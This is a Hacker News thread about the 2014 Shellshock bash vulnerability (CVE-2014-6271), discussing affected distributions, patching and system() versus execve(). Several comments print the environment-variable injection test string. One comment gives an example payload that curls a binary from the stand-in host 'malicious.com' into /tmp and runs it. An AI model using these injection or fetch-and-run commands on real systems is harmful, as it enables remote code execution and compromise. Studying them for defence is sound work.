News for hackers. Stuff that matters.
Re:CVE-2014-6271: Remote code execution through bash by agwa on Wednesday September 24, 2014 @11:02AM (#8361823)
It is a very good thing that Debian and Ubuntu use /bin/dash for /bin/sh by default, since /bin/sh is implicitly invoked all over the place (e.g. by system(3)). Distros which use /bin/bash for /bin/sh are gonna have a bad time.

Edit: not implying that Debian and Ubuntu aren't affected too, just that the impact there will be lessened.

Re:CVE-2014-6271: Remote code execution through bash by asveikau on Wednesday September 24, 2014 @12:07PM (#8362222)
I am sure tons of people reading already know this, but I have a habit of saying this everywhere I see system() mentioned anywhere on the internet, just in case somebody reading is tempted to use it: system() is evil, please for the love of god never use it.

If you need to invoke another program use execve() and friends. The versions that end in -p will even check PATH for you. You don't need a shell to evaluate your arguments. Cut out the middle man and pass the arguments directly. It will save you a lot of stupid bugs.

Re:CVE-2014-6271: Remote code execution through bash by dllthomas on Wednesday September 24, 2014 @12:27PM (#8362359)
There's nothing wrong with using system anywhere you would happily cover your eyes and paste the string content into a shell. That shouldn't be many places, if anywhere, in production software. It's fine for simple things that would've been shell scripts anyway but for the need to XYZ.
Re:CVE-2014-6271: Remote code execution through bash by agwa on Wednesday September 24, 2014 @12:24PM (#8362345)
The API for system() is not great, but the execve family of functions are not drop-in replacements since they don't take care of forking, changing the signals, and waiting. As long as you're not passing arguments from outside sources to the command, using system() should be OK.
Re:CVE-2014-6271: Remote code execution through bash by __david__ on Wednesday September 24, 2014 @02:47PM (#8363329)
> the execve family of functions are not drop-in replacements since they don't take care of forking, changing the signals, and waiting.

Maybe not in C, but they are a drop-in replacement in just about every scripting language. Perl, Ruby, Python, all have nice high level calls that mostly mimic system() but use execve underneath—You simply pass system() multiple arguments instead of a single string. `system("")` in your production web app server code is almost certainly incorrect.

Sadly I think PHP still doesn't have this.

> As long as you're not passing arguments from outside sources to the command, using system() should be OK.

Very true, but think about whether you really need a shell to launch your command (are you using any shell features?). If not, why not just launch the command directly?

Re:CVE-2014-6271: Remote code execution through bash by clarry on Wednesday September 24, 2014 @12:28PM (#8362370)
And in some cases invoking the shell and letting it do its thing is expected, intended and desirable.
Re:CVE-2014-6271: Remote code execution through bash by wahern on Wednesday September 24, 2014 @07:31PM (#8364733)
Would you execute random Perl or Python code from the internet? No, you wouldn't, even if you tried to sanitize it a thousand ways from Sunday. So why would you do so for the shell?

Defense must use different strategies than offense. An engineer's goal should be to reduce the problem space to something as small as possible, so he has a better chance at implementing a correct solution. Allowing the shell to be invoked is a good way to explode your exploitable surface area.

Anybody who coded in the 1990s knows to stay away from the shell like the plague, even though the syntax parsing and evaluation components in modern shells have improved considerably. Sadly this particular bug harks back to the bad days, when it was more difficult to tell how certain constructs would be evaluated.

It's not that you can't theoretically do it securely, it's just that you're gratuitously playing with fire--fire that has burned countless engineers in the past. The cost+benefit is so indisputably skewed toward little cost and huge risk that it's unprofessional to suggest otherwise.

The shell shouldn't come anywhere near network-facing software, period.

Re:CVE-2014-6271: Remote code execution through bash by asveikau on Wednesday September 24, 2014 @01:16PM (#8362701)
> are not drop-in replacements since they don't take care of forking, changing the signals, and waiting.

I never claimed it as a drop-in replacement. I think you know the solution to these problems. (I guess maybe someone who naively uses system() might not, so perhaps I need to work on a better spiel.)

> As long as you're not passing arguments from outside sources to the command, using system() should be OK.

Personally I've seen too many bad uses of system() to make that a thing. Maybe they'll not realize it's subject to PATH and that PATH can be untrusted. Maybe they'll not realize they sometimes have asterisks and spaces in a filename. And so forth...

Re:CVE-2014-6271: Remote code execution through bash by ForHackernews on Wednesday September 24, 2014 @11:08AM (#8361865)
Do you have a source for that? Some articles [0] claim "This affects Debian as well as other Linux distributions."

[0] http://www.csoonline.com/article/2687265/application-securit...

Re:CVE-2014-6271: Remote code execution through bash by aroch on Wednesday September 24, 2014 @11:13AM (#8361891)
Debian7 doesn't look to be vulnerable by default (if the code snippet can be trusted to work):

    [arch/testbed ~] uname -a
    Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux
    [arch/testbed ~]  env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    bash: warning: x: ignoring function definition attempt
    bash: error importing function definition for `x'
    this is a test
Re:CVE-2014-6271: Remote code execution through bash by kazinator on Wednesday September 24, 2014 @11:41AM (#8362084)
I have a Debian Squeeze system. Just ran apt-get upgrade and bash wasn't upgraded at all. Just other things like CUPS, exim4, pgsql, ...
Re:CVE-2014-6271: Remote code execution through bash by agwa on Wednesday September 24, 2014 @12:20PM (#8362312)
Squeeze doesn't have regular security support anymore. A subset of packages on i386 and amd64 are receiving long term security support, but you need to enable the Squeeze LTS repo:

https://wiki.debian.org/LTS/Using

Re:CVE-2014-6271: Remote code execution through bash by ars on Wednesday September 24, 2014 @12:32PM (#8362400)
It has not reached the lts mirrors yet, but you can get it from http://incoming.debian.org/debian-buildd/pool/main/b/bash/
Re:CVE-2014-6271: Remote code execution through bash by daveloyall on Wednesday September 24, 2014 @03:58PM (#8363750)
As of 7:24 PM GMT the above link has the amd64 .deb for sid.

Still waiting on the i386 .deb for sid.

Your link and this link (https://security-tracker.debian.org/tracker/CVE-2014-6271) useful when considered together.

Re:CVE-2014-6271: Remote code execution through bash by daveloyall on Wednesday September 24, 2014 @05:37PM (#8364288)
The i386 .deb is available!

Aaaand now I'm done checking back on this thread. Have fun, folks! :)

Re:CVE-2014-6271: Remote code execution through bash by kazinator on Wednesday September 24, 2014 @01:47PM (#8362909)
Thanks. dpkg --install'ed the amd64 .deb package, and the vulnerability test passes now.
Re:CVE-2014-6271: Remote code execution through bash by cbhl on Wednesday September 24, 2014 @12:14PM (#8362270)
Make sure security.debian.org is in your apt sources list?
Re:CVE-2014-6271: Remote code execution through bash by kazinator on Wednesday September 24, 2014 @01:40PM (#8362867)
Thanks for the hint folks. My eyes glazed over when OSS people started using packages some 20 odd years ago.

My brain refuses to understand anything more than the beautiful simplicity of a tarball extracted from the / directory. :)

[deleted]
Re:CVE-2014-6271: Remote code execution through bash by claudius on Wednesday September 24, 2014 @12:00PM (#8362181)
Yes, the printing of “vulnerable” in the 4th line of your code snippet.
Re:CVE-2014-6271: Remote code execution through bash by agwa on Wednesday September 24, 2014 @11:14AM (#8361904)
You appear to already have the updated package installed.
Re:CVE-2014-6271: Remote code execution through bash by aroch on Wednesday September 24, 2014 @11:20AM (#8361944)
Last dist-upgrade was about a week ago, all indications point towards the bash released back in Jan 2013. It's fixed in 4.2+dfsg-0.1+deb7u1 and I'm running 4.2+dfsg-0.1
Re:CVE-2014-6271: Remote code execution through bash by agwa on Wednesday September 24, 2014 @11:21AM (#8361954)
Well, that's very odd because that command reports vulnerable on an unpatched Debian system, but fails with exactly that error message on a patched system.
Re:CVE-2014-6271: Remote code execution through bash by agwa on Wednesday September 24, 2014 @11:13AM (#8361890)
You're right and my comment was unclear. I'm just saying that the impact on Debian will be less than on distros using /bin/bash for /bin/sh. Of course, even a lessened impact can still be really bad!
Re:CVE-2014-6271: Remote code execution through bash by ngcazz on Wednesday September 24, 2014 @11:10AM (#8361870)
Likely meaning that the Debian packages for Bash include the vulnerability
Re:CVE-2014-6271: Remote code execution through bash by jkrems on Wednesday September 24, 2014 @03:05PM (#8363454)
Isn't /bin/sh vulnerable to the same thing? At least it seems for me:

    sh-3.2$ env x='() { :;}; echo vulnerable' /bin/sh -c "echo this is a test"
    vulnerable
    this is a test
Re:CVE-2014-6271: Remote code execution through bash by joev_ on Wednesday September 24, 2014 @03:06PM (#8363463)
/bin/sh depends on the system. It might be busybox or a minimal shell (this is common on embedded devices). On some systems like OSX and I think CentOS /bin/sh is just bash. You can check with `/bin/sh --version`.
Re:CVE-2014-6271: Remote code execution through bash by jkrems on Wednesday September 24, 2014 @04:44PM (#8364031)
Ah, thanks. Yes, tested it exactly on OSX and CentOS.
Re:CVE-2014-6271: Remote code execution through bash by korzun on Wednesday September 24, 2014 @11:15AM (#8361907)
Major impact of this is elevating privileges, both Debian and Ubuntu will be impacted just like any other system.

I don't think anybody is worried about software on the system that is using /bin/bash .vs /bin/sh.

Re:CVE-2014-6271: Remote code execution through bash by dllthomas on Wednesday September 24, 2014 @11:26AM (#8361989)
Where is the privilege escalation? I get the same results from running id through tripping the bug as I do from running id directly.

Edited to add: Also no differences in capabilities when I cat /proc/self/status

None of which is to say there is clearly no such vulnerability - I'd just like to understand it if there is.

Re:CVE-2014-6271: Remote code execution through bash by sophacles on Wednesday September 24, 2014 @11:54AM (#8362142)
Basically, anywhere this vulnerability exists, there is the option to run arbitrary code. That is for example:

   curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin
could be the payload. This will download then run a secondary attack binary. Then the attacker wins.
Re:CVE-2014-6271: Remote code execution through bash by dllthomas on Wednesday September 24, 2014 @12:19PM (#8362305)
That's true of any code execution vulnerability, though - it seems odd to call out the privilege elevation specifically. If that's all the GP meant, then sure, I fully grok.
Re:CVE-2014-6271: Remote code execution through bash by sophacles on Wednesday September 24, 2014 @12:45PM (#8362486)
I think it comes down to a jargon vs technical language thing. In formal settings arbitrary code execution is a different thing from privilege escalation. In casual jargony talk though, security guys tend to equate code execution with privilege escalation with box ownage.

Basically it goes "why would anyone not follow the execution -> escalation -> own path?" It's such an automatic assumption, combined with the basic premise of "there's no such thing as a secure computer", that the exact details are a hand-wave. This comes from the repeated demonstration that it's almost always true.

Re:CVE-2014-6271: Remote code execution through bash by dllthomas on Wednesday September 24, 2014 @12:54PM (#8362548)
None of this seems crazy unlikely, but I'd still like to hear a confirmation that that's what was meant. Especially since korzun was talking specifically about Debian and Ubuntu where bash is only used as a login shell and so presumably those with access could already just run the app.
Re:CVE-2014-6271: Remote code execution through bash by sophacles on Wednesday September 24, 2014 @01:36PM (#8362830)
There are unfortunately lots of bad scripts in the world that start with:

   #!/bin/bash
So for example, with a foo.sh script of:

   #!/bin/bash
   echo "loser!"
Then for example:

   vagrant@ubuntu-14:~/bin$ X='() { :; }; echo foo' python
   Python 2.7.6 (default, Mar 22 2014, 22:59:56) 
   [GCC 4.8.2] on linux2
   Type "help", "copyright", "credits" or "license" for more information.
   >>> import os
   >>> os.system("./foo.sh")
   foo
   loser!
   0
   >>> import subprocess
   >>> subprocess.Popen("./foo.sh")
   <subprocess.Popen object at 0x7f04a115f350>
   >>> foo
   loser!
It should be noted that if the shebang is #!/bin/sh this doesn't work when sh == dash, but given that this wiki page exists on ubuntu:

https://wiki.ubuntu.com/DashAsBinSh

That recommends changing broken scripts to #!/bin/bash or changing to sh == bash as solutions. I would guess that there are going to be plenty of easily vulnerable debian/ubuntu systems.

More importantly though, it literally does not matter if this bug is "directly privilege escalating" or "1 step removed privilege escalating", the are fundamentally the same thing. It doesn't matter in any case where a script is executed with bash instead of dash.

Re:CVE-2014-6271: Remote code execution through bash by dllthomas on Wednesday September 24, 2014 @01:41PM (#8362872)
'More importantly though, it literally does not matter if this bug is "directly privilege escalating" or "1 step removed privilege escalating", the are fundamentally the same thing. It doesn't matter in any case where a script is executed with bash instead of dash.'

It doesn't matter for security. It matters a lot for my understanding of what's going on.

Re:CVE-2014-6271: Remote code execution through bash by fragmede on Wednesday September 24, 2014 @12:51PM (#8362527)
Most code executions vulnerabilities aren't remotely accessible, which this is, which makes priv-escalation particularly nasty. (eg: incorrectly assuming that since www-data user doesn't have access to anything sensitive, this bug isn't a big deal)
Re:CVE-2014-6271: Remote code execution through bash by dllthomas on Wednesday September 24, 2014 @12:55PM (#8362557)
Is it remotely accessible on systems where sh is dash, though? That's specifically what was under discussion.
Re:CVE-2014-6271: Remote code execution through bash by agwa on Wednesday September 24, 2014 @01:40PM (#8362863)
Yes, potentially - if at any point during the execution of a program (or its descendents) a bash script gets called with an untrusted environment variable value from a remote source. The difference between a system with bash as /bin/sh and a system with dash as /bin/sh is that the bash system is implicitly executing bash all the time, whereas the dash system requires an explicitly-bash script to be executed. So the dash system has many fewer windows of opportunity for an exploit, but they could still be there.
Re:CVE-2014-6271: Remote code execution through bash by dllthomas on Wednesday September 24, 2014 @01:43PM (#8362889)
Well, sure. It seems a slightly odd way to phrase it if that's the entirety of what korzun meant, though. Is there somewhere that happens in a typical out-of-the-box Debian or Ubuntu box?
Re:CVE-2014-6271: Remote code execution through bash by korzun on Wednesday September 24, 2014 @02:25PM (#8363182)
Privilege escalation is not static.

I know systems where bash has been patched to allow execution by certain users, etc.

With this, you can inject commands before such check takes place.

Etc.

Re:CVE-2014-6271: Remote code execution through bash by dllthomas on Wednesday September 24, 2014 @03:02PM (#8363438)
Hm, so only if bash is chmod or granted capabilities, absent exploiting some other vulnerability? I'd read you as saying more - no worries.